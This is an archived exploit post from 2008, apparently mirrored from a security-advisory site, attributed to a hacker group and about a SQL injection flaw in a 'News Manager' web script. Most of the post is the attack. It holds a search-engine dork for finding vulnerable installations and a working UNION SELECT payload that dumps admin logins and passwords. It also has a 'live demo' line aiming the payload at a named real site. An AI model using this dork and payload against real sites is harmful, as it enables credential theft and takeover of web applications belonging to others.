Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:20683
HistoryOct 09, 2008 - 12:00 a.m.

News Manager Remote SQL Injection Vulnerability

2008-10-0900:00:00
vulners.com
171

####################################################################################################

News Manager Remote SQL Injection Vulnerability

© Ghost Hacker , Real Hack Back :)

####################################################################################################
#[~] Author : Ghost Hacker #
#[~] Home page : www.Real-h.com [Real Hack Back] #
#[~] Contact Me : [email protected] #
#[~] Bug : SQL Injection #
#[~] From : Kingdom Saudi Arabia #
#[~] Name Script : News Manager #
#[~] Download : http://www.preprojects.com/news.asp #
####################################################################################################
#[~] Dork : #

©2006 PRE NEWS MANAGER | All Rights Reserved Or inurl:news_detail.php?nid=

#[~] Exploit : #

http://xxxx/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3,5,6,7+from+admin--
#[~] live demo : #

http://www.preproject.com/news

manager/news_detail.php?nid=-139+UNION+SELECT+1,2,concat(login,0x3a,password),3,5,6,7+from+admin–
####################################################################################################
#[~]Greets : #

Mr.SQL , Mr.SaFa7 , Mr-3sheq , aBo3tB , Night Mare , Root Hacker , Dmar al3noOoz , L&J TeaM

Mr.MN7oS , Mr.Hope , EgYpTiaN x HaCkEr , PrO SpY , v4-team.com

All Members Real Hack , All My Friends :)

####################################################################################################

Viva Real Hack - Real-h.com

####################################################################################################


Express yourself instantly with MSN Messenger! Download today it's FREE!
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/